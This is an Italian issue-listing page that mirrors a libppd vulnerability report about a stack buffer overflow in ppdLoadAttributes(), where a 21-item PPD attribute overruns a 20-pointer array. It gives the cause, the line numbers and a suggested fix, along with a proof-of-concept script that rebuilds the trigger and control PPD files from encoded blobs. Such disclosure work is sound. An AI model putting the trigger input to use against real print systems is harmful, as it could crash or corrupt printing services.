libppd: a 21-item PPD attribute writes past items[20]
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 3/5
- Tempo stimato
- 1-2 giorni
- Idoneità per principianti
- 72/100
Direzione di ricerca
Inizia in ppd/ppd-ipp.c, in ppdLoadAttributes(), prestando particolare attenzione alla dichiarazione di items intorno alla riga 331 e alla logica di append alle righe 615-620. Esegui reproduce.sh con gli input di controllo a 20 elementi e di attivazione a 21 elementi per osservare l’attuale errore di ASan. Il lavoro è completo quando gli attributi che superano il numero di elementi supportato non scrivono più oltre l’array nello stack e il caso di controllo rimane pulito.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Summary
ppdLoadAttributes() splits selected comma-separated PPD attributes into a
fixed 20-pointer stack array without limiting the item count. A 21-item
cupsPwgRasterAuditSupported value causes a stack-buffer-overflow write before
the document parser runs.
Validated libppd source:
- tested build:
522af8dd135f4dde66b1aac8b9d067808bbe122d - current upstream HEAD:
fc41539f761286396a7df8aeeda762070192e37e
The commits between these revisions only change CI files; ppd/ppd-ipp.c is
byte-identical.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.
poc/control-20.ppd contains 20 values and exits normally.
poc/trigger-21.ppd, SHA-256
1f7a2add481f8388d56bebbe0666d8e990613551574b453b26dbb98699050933,
adds one value. Both use the same 85-byte valid PNG.
Run ./reproduce.sh for the trigger or MODE=control ./reproduce.sh for the
control group.
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: libppd: a 21-item PPD attribute writes past items[20]
# Finding ID: libppd-ipp-attribute-item-stack-overflow
# Trigger: ppdLoadAttributes() splits selected comma-separated PPD attributes
# into a fixed 20-pointer stack array without limiting the item count. A
# 21-item cupsPwgRasterAuditSupported value causes a stack-buffer-overflow
# write before the document parser runs.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Boundary control input; this case should remain clean.
# Output: control-20.ppd (1047 bytes)
write_file control-20.ppd 79014c8de0b8642cb0607db8dd5412c6e1b4e89964d0044433e2f54155cd52b6 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA61STW/iMBS88yssTi0KH4YCBVWVKBSJFZSoafey2oNJXlNrHdtybFPx6/eFAEmr
7m0PvszMe54ZuxWGi/YsUTuYkuZNZ9BstJbKZMz+BJNzJSuUC6gw2ukhtmYydSyt8EeZCp6/V8yj
jFXCZTolq2i7ZpZL2mhtmHRvLLbOgMFd0ealvXSHAxhcuVEJiCeWFXaeWW7BWKVj8UFeINOCWUBN
9K6MfeLxn5MOF9TYGvGvBeG8SFNNYwcdPAVjVOJii/BVbet1wURV+qtBj/auSVFB7HR+IbCVEilT
uGxXBDxjmJqJudIc8ilZMpFDSaAXeyyCaS14jCUp2fUy6RRk2xwzkB4xtTDNL5M8w667ep9+I9+n
J3W4T8tCZi7hNnJaY42Q4Linge8HfhD4m8APAz8K/Djwt4GfBJ728CBPUUBRQVFCUUNRRFFFUUZR
1z+3Ec7X+A+SH2qHm2XxlwQyWw3ydUVaIRqN+AGLD/GdthI7WMAbc8JWzBosumxctCcA193ddc/g
rxHtk/Gk/7u7wvD4xR4e1AeRToj7+xysRlkCnsfFe8+FyuF1Na2u/2zoGdLj+31n6czVTZXYf7ZV
Lr3cXYwD2wmYGWDV9Z/gygG9JYMRGU5uyHg4atYCaDALnoHMv4So49Wak/lm4y/HD85tFwQAAA==
POC_PAYLOAD_0
# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_1'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_1
# PPD configuration needed to select the vulnerable filter state.
# Output: trigger-21.ppd (1051 bytes)
write_file trigger-21.ppd 1f7a2add481f8388d56bebbe0666d8e990613551574b453b26dbb98699050933 <<'POC_PAYLOAD_2'
H4sIAAAAAAACA61STW/iMBS88yssTi0KH4YCBVWVKBSJFZSoafey2oNJXlNrHdtybFPx6/eFAEmr
7m0PvszMe54ZuxWGi/YsUTuYkuZNZ9BstJbKZMz+BJNzJSuUC6gw2ukhtmYydSyt8EeZCp6/V8yj
jFXCZTolq2i7ZpZL2mhtmHRvLLbOgMFd0ealvXSHAxhcuVEJiCeWFXaeWW7BWKVj8UFeINOCWUBN
9K6MfeLxn5MOF9TYGvGvBeG8SFNNYwcdPAVjVOJii/BVbet1wURV+qtBj/auSVFB7HR+IbCVEilT
uGxXBDxjmJqJudIc8ilZMpFDSaAXeyyCaS14jCUp2fUy6RRk2xwzkB4xtTDNL5M8w667ep9+I9+n
J3W4T8tCZi7hNnJaY42Q4Linge8HfhD4m8APAz8K/Djwt4GfBJ728CBPUUBRQVFCUUNRRFFFUUZR
10ddn56vmq/xLyQ/1A63y+I/CWS2GuTrirRCNBvxA5Yf4lttJfawgDfmhK2YNVh02rhoTwCuu7vr
nsFfI9on40n/d3eFBeA3e3hQH0Q6Ie7vc7AaZQl4HhdvPhcqh9fVtLr+s6FnSI9v+J2lM1c3VWL/
2Va59HJ3MQ5sJ2BmgFXXf4IrB/SWDEZkOLkh4+GoWQugwSx4BjL/EqKOV2tO5puNvxrz7WgbBAAA
POC_PAYLOAD_2
Result
The control exits 0. The trigger aborts with ASan WRITE of size 8 in
ppdLoadAttributes() at ppd-ipp.c:620; the address is beyond the
items[20] stack object. The real route is:
imagetops -> ppdFilterCUPSWrapper -> ppdFilterLoadPPD -> ppdLoadAttributes
The PPD is trusted configuration in many deployments, so ordinary document
submitters cannot usually supply it. Malicious driver packages, imported PPDs,
or compromised queue configuration can reach the write.
Cause and expected behavior
The parser declares const char *items[20] at line 331, then appends every
comma-delimited value at lines 615-620 without checking num_items.
The parser must reject attributes with more than the supported number of
items, or allocate the pointer array from a checked count before splitting.
- Lingua principale
- C
- Stelle
- 5
- Fork
- 29
- Metriche di merge delle PR
- Nessuna PR unita negli ultimi 30g
Guida per i contributori
Apri la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di OpenPrinting/libppd
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
OpenPrinting/libppd#86 ·
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
OpenPrinting/libppd#82 ·
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 82/100
OpenPrinting/libppd#81 ·
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
OpenPrinting/libppd#79 · 1 commento ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 66/100
OpenPrinting/libppd#84 ·
Tutte le issue di OpenPrinting/libppd
Issue simili
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 84/100
-
level/task module/gcp type/bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 85/100
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 86/100
hapostgres/pg_auto_failover#1190 ·
-
docs
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 85/100
-
P3 sonic-vpp
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
sonic-net/sonic-buildimage#29662 ·